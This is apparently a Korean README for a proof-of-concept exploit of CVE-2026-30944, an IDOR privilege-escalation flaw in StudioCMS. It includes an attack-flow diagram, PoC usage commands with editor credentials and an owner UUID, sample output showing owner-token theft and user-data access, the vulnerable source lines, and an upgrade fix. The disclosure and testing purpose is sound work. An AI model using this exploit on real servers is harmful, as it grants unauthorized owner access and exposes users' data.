┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   공격자     │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   서버        │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Owner 권한의 전체 사용자 데이터]    │
       │                                           │

pip install requests colorama

# 에디터 계정을 사용하여 owner용 API 토큰 생성
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# 결과를 JSON으로 저장
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

# 여러 역할로 테스트하여 취약점 확인
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

  ──────────────────────────────────────────────────────────
  PHASE 1: 인증
  ──────────────────────────────────────────────────────────
  [+] 'editor01'로 인증됨
  [*] 세션 사용자: editor01 (editor)
  [*] 세션 UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: 권한 상승
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 대상 사용자용 API 토큰 생성 중...
  [+] API 토큰이 성공적으로 생성되었습니다!
  [!] 토큰: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: 검증
  ──────────────────────────────────────────────────────────
  [*] REST API에서 토큰 액세스 검증 중...
  [+] 취약점 확인됨 — 전체 API 액세스 달성!
  [*] 9개의 사용자 레코드 검색됨

  ──────────────────────────────────────────────────────────
  PHASE 2: 권한 상승
  ──────────────────────────────────────────────────────────
  [*] 대상 UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] 대상 사용자용 API 토큰 생성 중...
  [*] 액세스 거부됨 (403 Forbidden) — 엔드포인트가 패치되었을 수 있음
  [-] 익스플로잇 실패 — 토큰이 생성되지 않음

// [1] 호출자가 editor인지만 확인 — 누구를 위해 토큰을 생성하는지는 확인하지 않음
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 요청 본문의 'user' — 인증된 세션에 대한 검증 없음
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] 토큰 생성에 직접 전달 — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

npm install studiocms@latest